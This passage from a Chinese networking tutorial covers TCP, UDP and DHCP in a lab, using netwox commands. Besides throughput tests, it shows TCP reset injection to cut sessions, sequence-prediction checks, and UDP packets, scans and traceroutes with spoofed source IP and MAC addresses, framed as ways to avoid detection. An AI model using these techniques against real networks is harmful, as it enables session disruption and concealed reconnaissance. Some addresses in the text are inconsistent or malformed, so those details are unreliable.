TCP协议通过滑动窗口方式,可以充分利用网络性能传输数据。所以,利用TCP传输机制,可以检测网络性能。netwox工具提供了相关模块来实现该功能,可以使用编号为155的模块建立TCP服务器,使用编号为156的模块建立TCP客户端。然后,使用TCP客户端连接TCP服务器端,测试网络性能。

已知主机A的IP地址为192.168.59.135,主机B的IP地址为192.168.59.131。使用这两个主机进行网络性能检测。具体步骤如下:

(1)将主机A设置为TCP服务器端,监听的端口为5228,执行命令如下:

root@daxueba:~# netwox 155 -P 5228

执行命令后没有任何输出信息。

(2)将主机B设置为TCP客户端,并连接TCP服务器端,执行命令如下:

root@daxueba:~# netwox 156 -p 5228 -i 192.168.59.135

输出信息如下:

37226820 Bytes/sec [=~= 333636 kbit/sec] jitter= 1420 usec
21462698 Bytes/sec [=~= 192354 kbit/sec] jitter= 12990 usec
46895528 Bytes/sec [=~= 420290 kbit/sec] jitter= 14478 usec
33407776 Bytes/sec [=~= 299409 kbit/sec] jitter= 2011 usec
23745772 Bytes/sec [=~= 212815 kbit/sec] jitter= 547 usec

以上输出信息显示了每秒传输位数和TCP的抖动(jitter)。

(3)为了验证测试过程,通过抓包查看,如图所示。

其中,第5~7个数据包为3次握手包。

19. TCP协议应用-干扰连接

TCP协议通过3次握手和4次挥手建立和断开连接。利用握手和挥手机制,也可以干扰正常的TCP数据传输。

1)重置会话

正常情况下,客户端与服务器端不再通信时,需要通过四次挥手断开连接。利用该机制,用户可以手动发送TCP重置包,断开客户端与服务器之间的连接,干扰正常的数据传输。重置会话可以使用netwox工具提供的编号为78的模块。

已知主机A的IP地址为192.168.59.156,主机B的IP地址为192.168.59.135,主机C的IP地址为192.168.59.133。使用netwox工具重置TCP会话。具体步骤如下:

(1)在主机A上建立TCP服务器端,并发送消息ni hao,如下:

root@daxueba:~# netwox 89 -P 80
ni hao

(2)在主机B上建立TCP客户端,并回复消息hao,如下:

root@daxueba:~# netwox 87 -i 192.168.59.156 -p 80
ni hao
hao

从以上输出信息可以看到TCP客户端与服务器端的会话消息。

(3)在主机C上使用netwox重置TCP会话,指定服务器端IP地址,执行命令如下:

root@daxueba:~# netwox 78 -i 192.168.59.156

执行命令后没有任何输出信息。

(4)当在TCP服务器端再次向TCP客户端发送消息时,则TCP会话中断。

例如,发送消息hello,如下:

root@daxueba:~# netwox 89 -P 80
ni hao
hao
hello
root@daxueba:~# #中断TCP会话

(5)在服务器端进行抓包,将捕获到TCP会话中断的相关数据包,如图所示。

图中第21个数据包为TCP数据包,在Info列中可以看到[TCP ACKed unseen segment]信息,表示该数据包的TCP会话不存在,已经重置了。在Transmission Control Protocol部分中可以看到Flags:的值为(RST,ACK),表示该数据包为重置数据包。

2)检查盲注攻击漏洞

发送一个[SYN]请求包,会得到一个包含序列号的[SYN,ACK]响应包。连续发送[SYN]请求包时,会得到一系列的序列号。如果序列号的值是有规律的,那么当请求主机不再发送[SYN]请求包时,攻击者可以利用发现的规律预测到下一个序列号的值。该现象被称为TCP序列号预测漏洞。

为了判断目标主机上是否存在该漏洞,netwox工具提供了编号为77的模块来实现。它可以向目标主机发送大量的[SYN]请求包。如果目标主机端口处于开放状态,可以得到一系列的序列号值。通过比对这些值是否具有规律性,可以判断是否存在该漏洞。

检查目标主机是否存在TCP序列号预测漏洞。

(1)对目标主机进行检查,执行命令如下:

root@daxueba:~# netwox 77 -i 192.168.59.135 -p 5228

输出信息如下:

3602706571 [+3602706571]
3603262943 [+556372]
3604137494 [+874551]
3605012444 [+874950]
3605952250 [+939806]
3606839275 [+887025]
3607738492 [+899217]
3608577051 [+838559]
3609516111 [+939060]
3610388602 [+872491]
3611263469 [+874867]
3612140273 [+876804]
…                     #省略其他信息

以上输出信息中,每一行的值表示响应包中序列号(SEQ)的值,如3603262943[+556372]。其中,3603262943为第2个响应包[SYN,ACK]中序列号的值,+556372表示该响应包序列号的值和上一个响应包序列号的差值。根

据输出信息可以了解到,每次的差值都是随机的,说明序列号没有规律,证明目标主机不存在盲注攻击漏洞。

(2)为了验证该模块的工作机制,通过抓包进行人工判断,如图所示。

其中,第5个数据包为向目标主机192.168.59.135发送的[SYN]请求包,第6个数据包为对应的[SYN,ACK]响应包,序列号为3602706571;第8个数据包为第2次向目标主机192.168.59.135发送的[SYN]请求包,第9个数据包为对应的[SYN,ACK]响应包,序列号为3603262943。以此类推,可以看到[SYN,ACK]响应包中的序列号是随机的。

(3)如果目标主机上的端口没有开放,将返回如下信息:

No answer for this SYN (try to increase max-wait)
No answer for this SYN (try to increase max-wait)
No answer for this SYN (try to increase max-wait)
No answer for this SYN (try to increase max-wait)
No answer for this SYN (try to increase max-wait)

4、UDP协议

用户数据报协议(User Datagram Protocol,UDP)是一种传输层协议。在TCP/IP网络中,它与TCP协议一样用于处理数据包,是一种无连接的协议。

1. UDP协议简介

UDP 只在 IP 的数据报服务之上增加了很少一点的功能,即端口的功能和差错检测的功能。虽然 UDP 用户数据报只能提供不可靠的交付,但 UDP 在某些方面有其特殊的优点。

UDP的主要特点:

  • UDP 是无连接的,即发送数据之前不需要建立连接。
  • UDP 使用尽最大努力交付,即不保证可靠交付,同时也不使用拥塞控制。
  • UDP 是面向报文的。UDP 没有拥塞控制,很适合多媒体通信的要求。 
  • UDP 支持一对一、一对多、多对一和多对多的交互通信。
  • UDP 的首部开销小,只有 8 个字节。

发送方 UDP 对应用程序交下来的报文,在添加首部后就向下交付 IP 层。UDP 对应用层交下来的报文,既不合并,也不拆分,而是保留这些报文的边界。应用层交给 UDP 多长的报文,UDP 就照样发送,即一次发送一个报文。接收方 UDP 对 IP 层交上来的 UDP 用户数据报,在去除首部后就原封不动地交付上层的应用进程,一次交付一个完整的报文。

应用程序必须选择合适大小的报文。

 

2. UDP协议作用

TCP协议在进行数据传输时,需要建立连接,并且每次传输的数据都需要进行确认。当不再进行传输数据时,还需要断开连接。

这样做虽然安全,但是效率较低。而UDP协议正好避免了这些过程,它是一种没有复杂控制,提供面向无连接的通信服务协议。

UDP协议具备以下特点:

  • 没有各种连接:在传输数据前不需要建立连接,也避免了后续的断开连接。
  • 不重新排序:对到达顺序混乱的数据包不进行重新排序。
  • 没有确认:发送数据包无须等待对方确认。因此,使用UDP协议可以随时发送数据,但无法保证数据能否成功被目标主机接收。

3. UDP数据格式

相比TCP协议,UDP协议的报文结构相对简单。

 UDP首部格式:

每个UDP报文分为UDP报头和UDP数据区两部分。报头由4个16位长(2字节)字段组成,分别说明该报文的源端口、目的端口、报文长度和校验值。

UDP报文中每个字段的含义如下:

  • 源端口:这个字段占据UDP报文头的前16位,通常包含发送数据报的应用程序所使用的UDP端口。接收端的应用程序利用这个字段的值作为发送响应的目的地址。这个字段是可选的,所以发送端的应用程序不一定会把自己的端口号写入该字段中。如果不写入端口号,则把这个字段设置为0。这样,接收端的应用程序就不能发送响应了。
  • 目的端口:接收端计算机上UDP软件使用的端口,占据16位。
  • 长度:该字段占据16位,表示UDP数据报长度,包含UDP报文头和UDP数据长度。因为UDP报文头长度是8个字节,所以这个值最小为8。
  • 校验值:该字段占据16位,可以检验数据在传输过程中是否被损坏。

4. 分析UDP数据包

客户端与服务器建立连接后进行通信,除了使用TCP协议外,还可以使用UDP协议。netwox工具提供了相关模块,用于建立UDP服务器和UDP客户端,实现基于UDP协议的数据交互。

已知主机A的IP地址为192.168.59.132,主机B的IP地址为192.168.59.135。分别在这两个主机上建立UDP服务器和客户端,并进行连接,监听指定端口上的通信信息。

具体步骤如下:

(1)在主机A上建立UDP服务器,设置监听端口为80,执行命令如下:

root@daxueba:~# netwox 90 -P 80

执行命令后,没有任何输出信息,但是成功建立了UDP服务器端。

(2)在主机B上建立UDP客户端,连接UDP服务器端80端口,执行命令如下:

root@daxueba:~# netwox 88 -i 192.168.59.135 -p 80

执行命令后,没有任何输出信息,但是成功连接到了UDP服务器端,这里可以输入通信内容。

(3)与UDP服务器端进行通信,在客户端输入hi:

root@daxueba:~# netwox 88 -i 192.168.59.135 -p 80
hi

(4)在服务端可以看到客户端发来的消息如下:

root@daxueba:~# netwox 90 -P 80
hi

(5)为了验证发送的消息使用的是UDP协议,可以通过抓包进行查看,如图所示。

从图中第1个数据包可以看到,是UDP客户端(源IP地址为192.168.59.132)向UDP服务器端(目的IP地址为192.168.59.135)发送的UDP数据包,使用的源端口为随机端口47203,目的端口为80(UDP服务器端监听的端口)。在User Datagram Protocol部分中显示了UDP数据包的详细信息。可以看到源端口、目的端口,以及包长度为11字节、校验值为0xf878等信息。

(6)当服务器向客户端发送消息时,使用的也是UDP协议。例如,在服务器端回复客户端,输入hello:

root@daxueba:~# netwox 90 -P 80
hi
hello

(7)通过抓包验证使用的是UDP协议,如图所示。

从第14个数据包可以看到,源IP地址为192.168.59.135,目的IP地址为192.168.59.132,源端口为80,目的端口为随机端口47203。该数据包正好是UDP服务器回复客户端的UDP数据包。在User Datagram Protocol部分中可以看到详细信息。

5. 构造UDP包

1)基于IPv4伪造UDP包

在发送UDP数据包时,为了避免被发现,可以基于IPv4伪造UDP包。它可以设置假的IP地址和假的端口等。伪造包需要使用netwox工具中编号为39的模块来实现。

基于IPv4伪造UDP包。

(1)不使用选项,直接运行并查看基于IPv4的UDP包,执行命令如下:

root@daxueba:~# netwox 39

输出信息如下:

IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0____ |___________0x001C=28______ |
| id |r|D|M| offsetfrag |
|_________0x5578=21880__________ |0|0|0|________0x0000=0____ |
| ttl | protocol | checksum |
|____0x00=0_____|____0x11=17____|____________0x5D1F_______ |
| source |
|________________________192.168.59.132_______________________ |
| destination |
|____________________________ 5.6.7.8_____________________ |
UDP___________________________________________________________
| source port | destination port |
|__________0x04D2=1234__________|___________0x0050=80_______ |
| length | checksum |
|___________0x0008=8____________|_________0xF281=62081_______ |

其中,IP部分为IPv4数据报文头信息,可以看到源IP地址为192.168.59.132,该地址为当前主机的IP地址。UDP部分为UDP数据报文头信息,在该信息中可以看到每个字段的默认值。

(2)基于IPv4伪造UDP数据包,伪造源IP地址为192.168.59.160,源端口为443。向目标主机192.168.59.135的8080端口发送UDP数据包,执行命令如下:

root@daxueba:~# netwox 39 -l 192.168.59.160 -m 192.168.59.135 -o 443 -p 8080

输出信息如下:

IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x001C=28______ |
| id |r|D|M| offsetfrag |
|_________ 0x76A7=30375_________|0|0|0|________0x0000=0______ |
| ttl | protocol | checksum |
|____0x00=0_____|____0x11=17____|____________ 0x4BB2_______ |
| source |
|________________________192.168.59.160_______________________ |
| destination |
|________________________192.168.59.135_____________________ |
UDP___________________________________________________________
| source port | destination port |
|__________ 0x01BB=443__________|_________0x1F90=8080______ |
| length | checksum |
|___________0x0008=8____________|_________ 0xE61A=58906_______ |

在IP部分中可以看到,源IP地址变为了伪造的地址192.168.59.160。目的IP地址为目标主机的地址。在UDP部分可以看到,源端口为伪造的端口443,UDP数据包的长度为8,校验值为0xE61A。

(3)通过抓包验证成功伪造了UDP数据包,如图所示。

从第6个数据包可以看到,源IP地址为192.168.59.160,目的IP地址为192.168.59.135,源端口为443,目的端口为8080。该数据包正是伪造的UDP数据包,在User Datagram Protocol部分中可以看到UDP数据报头字段信息,如长度为8、校验值为0xe61a等。

2)基于Ethernet和IPv4伪造UDP数据包

上述基于IPv4伪造UDP包只能伪造IP地址,但是不能伪造MAC地址。netwox工具提供编号为35的模块,它可以基于Ethernet和IPv4伪造UDP包,可以伪造MAC地址。

基于Ethernet和IPv4伪造UDP包。

(1)不使用选项直接运行查看基于Ethernet和IPv4的UDP包,执行命令如下:

root@daxueba:~# netwox 35

输出信息如下:

Ethernet________________________________________________________.
| 00:0C:29:FD:DE:B8->00:08:09:0A:0B:0C type:0x0800 |
|_____________________________________________________________ |
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x001C=28______ |
| id |r|D|M| offsetfrag |
|_________ 0x555E=21854_________|0|0|0|________0x0000=0______ |
| ttl | protocol | checksum |
|____0x00=0_____|____0x11=17____|____________ 0x5D39_______ |
| source |
|________________________192.168.59.132_______________________ |
| destination |
|____________________________ 5.6.7.8_____________________ |
UDP__________________________________________________________
| source port | destination port |
|__________0x04D2=1234__________|___________0x0050=80_______ |
| length | checksum |
|___________0x0008=8____________|_________0xF281=62081_______ |

其中,Ethernet部分表示以太网的数据报信息,在该部分中,00:0C:29:FD:DE:B8为源MAC地址,是当前主机的MAC地址。其他字段的值都为默认值。

(2)基于Ethernet和IPv4伪造UDP包。伪造MAC地址为00:11:22:aa:bb:cc,源端口为443。向目标主机192.168.59.135(其MAC地址为00:0c:29:ca:e4:66)的8080端口发送UDP数据包,执行命令如下:

root@daxueba:~# netwox 35 -a 00:11:22:aa:bb:cc -b 00:0c:29:ca:e4:66 -m 192.168.59.135 -o 443 -p 8080

输出信息如下:

Ethernet________________________________________________________.
| 00:11:22:AA:BB:CC-> 00:0C:29:CA:E4:66 type:0x0800 |
|_____________________________________________________________ |
IP______________________________________________________________.
|version| ihl | tos | totlen |
|___4___|___5___|____0x00=0_____|___________0x001C=28______ |
| id |r|D|M| offsetfrag |
|_________ 0xA313=41747_________|0|0|0|________0x0000=0______ |
| ttl | protocol | checksum |
|____0x00=0_____|____0x11=17____|____________ 0x1F62_______ |
| source |
|________________________192.168.59.132_______________________ |
| destination |
|__________________________192.168.59.135_____________________ |
UDP___________________________________________________________
| source port | destination port |
|__________ 0x01BB=443__________|___________ 0x1F90=8080______ |
| length | checksum |
|___________0x0008=8____________|_________ 0xE636=58934_______ |

在Ethernet部分可以看到,源MAC地址变为了伪造的地址00:11:22:AA:BB:CC。在IP部分中可以看到,源IP地址仍然为当前主机的IP地址192.168.59.132。

(3)通过抓包验证伪造了MAC地址的UDP数据包,如图所示。

其中,第2个数据包为伪造的UDP包,源IP地址为真实的IP地址192.168.59.132。在Ethernet II部分中可以看到,Source的值为00:11:22:aa:bb:cc,该地址为伪造的MAC地址,而不是真实的MAC地址。

6. UDP协议应用-扫描主机和端口

如果目标主机禁止响应ICMP协议,就无法使用Ping命令来判断主机是否存在。除了使用发送TCP包进行判断以外,还可以通过发送UDP包对主机和端口进行判断。

1)扫描主机

对目标主机进行扫描,实质上是向目标主机的指定端口发送UDPPing包。如果目标主机开启,且对应端口打开,则不返回响应包;如果对应端口未打开,则返回目标主机不可达的ICMP包。netwox工具提供编号为53和54的模块,用来构造UDP Ping包。

已知目标主机IP地址为192.168.59.135,其MAC地址为00:0c:29:ca:e4:66。在主机192.168.59.132上实施扫描,判断目标主机是否启用,指定端口是否开放。

(1)判断目标主机是否启用,68端口是否开放,执行命令如下:

root@daxueba:~# netwox 53 -i 192.168.59.135 -p 68

输出信息如下:

Ok
Ok
Ok
Ok
Ok
…     省略其他信息

输出信息在不断持续的显示OK,表示目标主机已启用,端口没有开放。如果没有任何输出信息,有两种情况:第一种情况是目标主机不存在,第二种情况是目标主机已启用,端口处于开放状态。为了能够更清楚的判断需要进行抓包,通过查看是否有返回的响应来进行判断。

(2)如果没有相应,则捕获到的数据包,如图所示。

其中,所有的数据包源IP地址都为192.168.59.132(实施主机真实的IP地址),目标IP地址为192.168.59.135,源端口为随机端口,目标端口为68。说明这些数据包就是构造的UDP Ping包。并且,在数据包的Ethernet II部分中可以看到,Source的值为00:0c:29:fd:de:b8,是实施主机真实的MAC地址。

(3)如果有相应,捕获到的数据包如图所示。

图中捕获到大量的UDP Ping请求包,目标端口为78。每个UDP请求包有对应的响应包,该响应包是一个端口不可达的ICMP包,说明目标主机78端口未开放。

(4)在进行发送UDP Ping包对目标主机进行扫描时,为了避免被发现可以进行伪造UDP Ping包。设置假的源IP地址和MAC地址。例如,伪造源IP地址为192.168.59.170,源MAC地址为1a:2b:3c:a1:b2:c3,执行命令如下:

root@daxueba:~# netwox 54 -i 192.168.59.135 -p 68 -E 1a:2b:3c:a1:b2:c3 -I 192.168.59.170 -e 00:0c:29:ca:e4:66

(5)通过抓包验证成功伪造的地址,如图所示。

其中,所有UDP数据包的源IP地址都为伪造地址192.1468.59.170,在Ethernet II部分中可以看到Source的值为1a:2b:3c:a1:b2:c3,该值是伪造的MAC地址。

2)扫描端口

使用上述方法发送UDP Ping扫描,只能判断目标主机上一个端口,不能批量地对端口进行扫描。netwox工具提供了编号为69和70的模块,用来构造UDP端口扫描包,进行批量扫描。

已知目标主机IP地址为192.168.59.135,其MAC地址为00:0c:29:ca:e4:66。在主机192.168.59.132上实施端口扫描,判断目标主机多个端口的开放情况。

(1)判断端口20-25的开放情况,执行命令如下:

root@daxueba:~# netwox 69 -i 192.168.59.135 -p 20-25

输出信息如下:

192.168.59.135 - 20 : closed
192.168.59.135 - 21 : closed
192.168.59.135 - 22 : closed
192.168.59.135 - 23 : closed
192.168.59.135 - 24 : closed
192.168.59.135 - 25 : closed

输出信息显示了对端口20-25进行了扫描,closed表示这些端口都是关闭状态。

(2)如果进行抓包,将会捕获到扫描的UDP请求包和返回的ICMP包,如图所示。

这时,捕获到12个数据包。其中,数据包4-9为向端口20-25发送的UDP请求包,可以看到源IP地址为192.168.59.133(实施主机的地址),目标IP为192.168.59.135(目标主机)。由于目标主机上的UDP端口20-25未开放,因此返回了对应的ICMP响应包,第10-15的数据包。

(3)如果目标主机端口开放,执行命令后显示信息如下:

root@daxueba:~# netwox 69 -i 192.168.59.135 -p 75-80

输出信息如下:

192.168.59.135 - 75 : timeout (perhaps open)
192.168.59.135 - 76 : timeout (perhaps open)
192.168.59.135 - 77 : timeout (perhaps open)
192.168.59.135 - 78 : timeout (perhaps open)
192.168.59.135 - 79 : timeout (perhaps open)
192.168.59.135 - 80 : timeout (perhaps open)

输出信息显示了对端口75-80进行了扫描,perhaps open表示端口可能为开放状态。

(4)端口为开放状态将不会有对应的响应包。通过抓包进行查看,如图所示。

(5)在批量扫描端口时,为了避免被发现,可以进行伪造UDP包,如设置假的源IP地址和MAC地址。例如,伪造源IP地址为192.168.59.150,源MAC地址为10:20:30:40:50:60,执行命令如下:

root@daxueba:~# netwox 70 -i 192.168.59.135 -p 75-80 -E 10:20:30:40:50:60 -I 192.168.59.150

输出信息如下:

192.168.59.135 - 75 : closed
192.168.59.135 - 76 : closed
192.168.59.135 - 77 : closed
192.168.59.135 - 78 : closed
192.168.59.135 - 79 : closed
192.168.59.135 - 80 : closed

输出信息表示目标主机192.168.59.135上的75-80端口为关闭状态。

(6)通过抓包方式,查看伪造的包,如图所示。

其中,第17个数据包源IP地址为192.168.59.150(伪造IP地址),源MAC地址为10:20:30:40:50:60(伪造MAC地址),使用的源端口为随机端口43046,目标端口为75。

(7)端口未开放将返回ICMP包,返回的数据包目标地址同样也为伪造的地址。选择对应的响应包进行查看,如图所示。

例如,第25个数据包的目标地址为192.168.59.150(伪造的),目标MAC地址为10:20:30:40:50:60(伪造地址),说明响应信息发送到了伪造的主机上。

6. UDP协议应用-路由跟踪

除了使用TCP包来进行路由跟踪,还可以UDP包实现。它会向目标主机发送UDP包,当到达经过的路由器时,TTL值为0,还没有找到目标主机,经过的路由器将返回超时消息的ICMP数据包,如果成功到达主机,将不会返回任何响应信息。netwox工具提供了编号为61和62的模块,用来构造UDP包进行路由跟踪。

主机192.168.12.106向主机125.39.52.26发送UDP包,进行路由跟踪,判断经过哪些路由。

(1)构造UDP包进行路由跟踪,执行命令如下:

root@kali:~# netwox 61 -i 125.39.52.26

输出信息如下:

1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.29.217
6 : 219.158.15.214
8 : 125.39.79.166

输出信息显示了经过的所有路由器的IP地址信息。例如,经过的第三个路由器地址为171.117.240.1。

(2)为了验证构建的UDP包和得到的响应信息,进行抓包查看,如图所示。

其中,第1个数据包的源IP地址为192.168.12.106,目标IP地址为125.39.52.26,是构造的UDP包;第2个数据包源IP地址为192.168.12.1,目标IP地址为192.168.12.106,该数据包是第一个网关返回的超时消息的ICMP数据包,表示还没有达到目标主机125.39.52.26。第3个数据包为主机192.168.12.106继续向目标主机125.39.52.26发送的UDP包,第4个数据包为第二个网关返回的超时消息的ICMP数据包。

以此类推,直到第16个数据包向目标主机125.39.52.26发送的UDP包以后,并且一直向目标主机发送UDP包都不再得到任何响应包,说明此时成功到达了目标主机。

(3)在进行路由跟踪时为了防止被发现,可以伪造源IP地址和MAC地址。

设置源IP地址为192.168.12.150,MAC地址为aa:bb:cc:dd:11:22,进行路由跟踪,执行命令如下:

root@kali:~# netwox 62 -i 125.39.52.26 -E aa:bb:cc:dd:11:22 -I 192.168.12.
150 -e ec:17:2f:46:70:ba

输出信息如下:

1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.29.217
6 : 219.158.15.214
8 : 125.39.79.162

(4)通过抓包验证伪造地址的UDP包,如图所示。

其中,第8个数据包的源IP地址为192.168.59.150(伪造的),目标IP地址为125.39.52.26(目标主机),该数据包就是伪造的UDP包。在Ethernet II部分中可以看到源MAC地址为aa:bb:cc:dd:11:22(伪造的)。第9个数据包为经过的路由183.185.164.1返回的ICMP包,返回的地址为伪造的地址192.168.59.150。

7. UDP协议应用-网络性能测试

为了了解网络的性能,netwox工具提供了编号编号为157和158的模块,进行测试。其中,157模块用于建立UDP服务器,158模块用于建立UDP客户端。

已知主机A的IP地址为192.168.59.135,主机B的IP地址为192.168.59.131。使用netwox公的的第157个和158个模块分别在主机A和B进行设置UDP服务器端和客户端,并连接进行网络性能检测。具体步骤如下:

(1)将主机A设置为UDP服务器端,监听的端口为8080,执行命令如下:

root@daxueba:~# netwox 157 -p 8080

执行命令后没有任何输出信息。

(2)将主机B设置为UDP客户端,并连接UDP服务器端,执行命令如下:

root@daxueba:~# netwox 158 -p 8080 -i 192.168.59.135

输出信息如下:

8406000 Bytes/sec [=~= 75336 kbit/sec] jitter= 40 usec
6281860 Bytes/sec [=~= 56299 kbit/sec] jitter= 6366 usec
7856287 Bytes/sec [=~= 70410 kbit/sec] jitter= 399 usec
6037962 Bytes/sec [=~= 54113 kbit/sec] jitter= 335 usec
7500995 Bytes/sec [=~= 67225 kbit/sec] jitter= 413 usec
Packets sent by server: 91770
Packets recv by client: 74469

输出信息显示了每秒的字节数和UDP抖动(jitter)。

(3)为了验证UDP客户端向UDP服务端的8080端口发包,可以通过抓包查看,如图所示。

其中,第3个数据包可以看到主机B向主机A发送的UDP数据包,在Info列中可以看到源端口为随机50267,目标端口为8080(监听的端口)。

八、应用层

1、应用层简介

每个应用层协议都是为了解决某一类应用问题,而问题的解决又往往是通过位于不同主机中的多个应用进程之间的通信和协同工作来完成的。

应用层的具体内容就是规定应用进程在通信时所遵循的协议,应用层的许多协议都是基于客户服务器方式。

客户(client)和服务器(server)都是指通信中所涉及的两个应用进程,客户服务器方式所描述的是进程之间服务和被服务的关系,客户是服务请求方,服务器是服务提供方。

2、DHCP协议

动态主机配置协议(Dynamic Host Configuration Protocol,DHCP)是基于UDP协议工作的网络配置协议。该协议主要用于集中管理和分配IP地址,帮助网络内的主机获取IP地址、网关和DNS服务器地址,DHCP服务是基于该协议的服务。

1. 静态分配

静态分配也称为手工分配。网络管理员在计算机中直接设置所使用的IP地址。在Windows系统中,用户可以在“Internet协议版本4(TCP/IPv4)属性”对话框中手动配置静态地址,如图所示。

勾选“使用下面的IP地址(S)”复选框,然后输入所要使用的IP地址、子网掩码和默认网关。这些信息必须与自己所在的网络信息一致。在“使用下面的DNS服务器地址(E)”文本框中输入首选DNS服务器地址,一般为网关地址。

2. 动态主机配置协议DHCP

为了将软件协议做成通用的和便于移植,协议软件的编写者把协议软件参数化,这就使得在很多台计算机上使用同一个经过编译的二进制代码成为可能。一台计算机和另一台计算机的区别,都可通过一些不同的参数来体现,在软件协议运行之前,必须给每一个参数赋值。

动态主机配置协议 DHCP 提供了即插即用连网(plug-and-play networking)的机制。这种机制允许一台计算机加入新的网络和获取IP地址而不用手工参与。需要 IP 地址的主机在启动时就向 DHCP 服务器广播发送发现报文(DHCPDISCOVER),这时该主机就成为 DHCP 客户。

本地网络上所有主机都能收到此广播报文,但只有 DHCP 服务器才回答此广播报文。

DHCP 服务器先在其数据库中查找该计算机的配置信息。若找到,则返回找到的信息。若找不到,则从服务器的 IP 地址池(address pool)中取一个地址分配给该计算机。DHCP 服务器的回答报文叫做提供报文(DHCPOFFER)。

只要租约到期,这个地址就会还给DHCP服务器,以供其他客户机使用。如果DHCP客户机仍需要一个IP地址来完成工作,则可以再申请另外一个IP地址。所以,计算机获取的IP地址每次都可能变化,属于动态分配。

在Windows系统中,用户可以在“Internet协议版本4(TCP/IPv4)属性”对话框中进行动态分配地址,如图所示。

这时,只要勾选“自动获得IP地址(0)”和“自动获得DNS服务器地址(B)”复选框,计算机就会尝试向DHCP服务器请求IP地址了。在动态分配方式中,如果DHCP服务器不在线或出现故障等情况时,客户机就无法获取地址。这时,有些系统会通过零配置技术为自己分配一个私有地址,范围为169.254.0.0~169.254.255.255。

3. DHCP工作方式

DHCP服务是用来分配IP地址的,所以DHCP服务器必须使用静态分配方式设置IP地址。而DHCP客户端可以从DHCP服务器上获取使用的IP地址。DHCP服务器使用的是UDP 67端口,DHCP客户端使用的是UDP 68端口。

DHCP工作方式有4个阶段,即发现阶段、提供阶段、选择阶段和确认阶段。

1)发现阶段(DHCP Discover)

DHCP客户端向所有DHCP服务器的UDP 67端口发送广播数据包以获取IP地址租约,这个数据包被称为DHCP Discover消息。任何收到这个包的DHCP服务器都可以响应这个请求。整个发现阶段的工作方式如图所示。

其中,DHCP客户端向DHCP服务器A和B都发送了DHCPDiscover广播包。

2)提供阶段(DHCP Offer)

DHCP服务器收到DHCP Discover广播包后会检查自己的配置,并发起DHCP Offer广播消息进行响应,为DHCP客户端提供可用的IP地址。该响应包以广播的形式发送到DHCP客户端的UDP 68端口上,整个提供阶段的工作方式如图所示。

其中,DHCP服务器A和B都会向DHCP客户端提供自己管理的地址。

3)选择阶段(DHCP Request)

DHCP客户端收到地址信息后,会选择第一个到达的租约地址信息。然后发起DHCP Request广播消息,告诉所有DHCP服务器,自己已经做出选择,接受了第一个DHCP服务器的地址。整个选择阶段的工作方式如图所示。

其中,DHCP客户端向DHCP服务器A和B都发送了DHCP Request消息广播包,告诉自己选择了DHCP服务器B的地址租约。

4)确认阶段(DHCP ACK)

DHCP服务器A和B都收到客户端发来的DHCP Request消息广播包。

DHCP服务器B查看信息后,发现客户端选择了自己的地址租约,将返回DHCP ACK广播消息进行最后的确认。DHCP服务器A查看信息以后,发现客户端没有选择自己的地址,将不返回信息。整个确认阶段的工作方式如图所示。

其中,服务器B向客户端返回了地址租用的DHCP ACK包,对客户端的请求进行确认。DHCP服务器A没有返回信息,因其地址没有被租用。

4. IP续期

客户端从服务器租用IP地址会有一个固定的租约期。除了租约期限外,还有两个时间值T1和T2。其中,T1定义为租约期限的一半,而T2定义为租约期限的7/8。

假设,租约期为8天。当到达T1定义的时间(4天)期限时,客户端会向提供租约的原始服务器发送DHCP Request包,对租约进行更新。如果服务器接受此请求,则回复DHCP ACK消息,包含更新后的租约期限;如果不接受租约更新请求,就不会发送DHCP ACK包。

此后,DHCP客户端会定时发送DHCP Request包。如果一直都没有得到确认,则继续使用此IP地址,直到T2定义的时间(7天)限制。此时,客户端会广播发送DHCP Request包,对租约进行更新。如果租期到达时,客户端既不能更新自己的租期,也无法从其他的DHCP服务器获得新的租期,客户端必须停止使用这个IP地址,从而停止常规的TCP/IP网络操作。

5. DHCP报文格式

DHCP协议提供了多种类型的报文,但是基本格式是相同的。不同类型的报文只是报文中的某些字段值不同。

DHCP报文的基本格式如图所示:

图中每个字段含义如下:

  • op:报文的操作类型。分为请求报文和响应报文。客户端发送给服务器的包为请求报文,值为1;服务器发送给客户端的包为响应报文,值为2。
  • htype:DHCP客户端的MAC地址类型。MAC地址类型其实是指明网络类型,htype值为1时表示为最常见的以太网MAC地址类型。
  • hlen:硬件地址长度。以太网MAC地址长度为6个字节,即hlen值为6。
  • hops:跳数,DHCP报文经过的中继数量。每经过一个路由器,该字段就会增加1。如果没有经过路由器,则值为0(同一网内)。
  • xid:事务ID。客户端发起一次请求时选择的随机数,用来标识一次地址请求过程。在一次请求中所有报文的xid都是一样的。
  • secs:DHCP客户端从获取到IP地址或者续约过程开始到现在所过去的时间,以秒为单位。在没有获得IP地址前,该字段始终为0。
  • flags:BOOTP标志位。只使用第0比特位,是广播应答标识位,用来标识DHCP服务器应答报文是采用单播还是广播发送。其中,0表示采用单播发送方式,1表示采用广播发送方式。其余位尚未使用。
  • ciaddr:DHCP客户端的IP地址。仅在DHCP服务器发送的ACK报文中显示,在其他报文中均显示为0。这是因为在得到DHCP服务器确认前,DHCP客户端还没有分配到IP地址。
  • yiaddr:DHCP服务器分配给客户端的IP地址。仅在DHCP服务器发送的Offer和ACK报文中显示,其他报文中显示为0。
  • siaddr:为DHCP客户端分配IP地址等信息的其他DHCP服务器IP地址。仅在DHCP Offer、DHCP ACK报文中显示,其他报文中显示为0。
  • giaddr:转发代理(网关)IP地址,DHCP客户端发出请求报文后经过的第一个DHCP中继的IP地址。如果没有经过DHCP中继,则显示为0。
  • chaddr:DHCP客户端的MAC地址。在每个报文中都会显示对应DHCP客户端的MAC地址。
  • sname:为客户端分配IP地址的服务器名称(DNS域名格式)。只在DHCP Offer和DHCP ACK报文中显示发送报文的DHCP服务器名称,其他报文显示为0。
  • file:DHCP服务器为DHCP客户端指定的启动配置文件名称及路径信息。仅在DHCP Offer报文中显示,其他报文中显示为空。
  • options:可选选项,格式为“代码+长度+数据”。

1)DHCP Discover报文

DHCP Discover报文数据包如图所示:

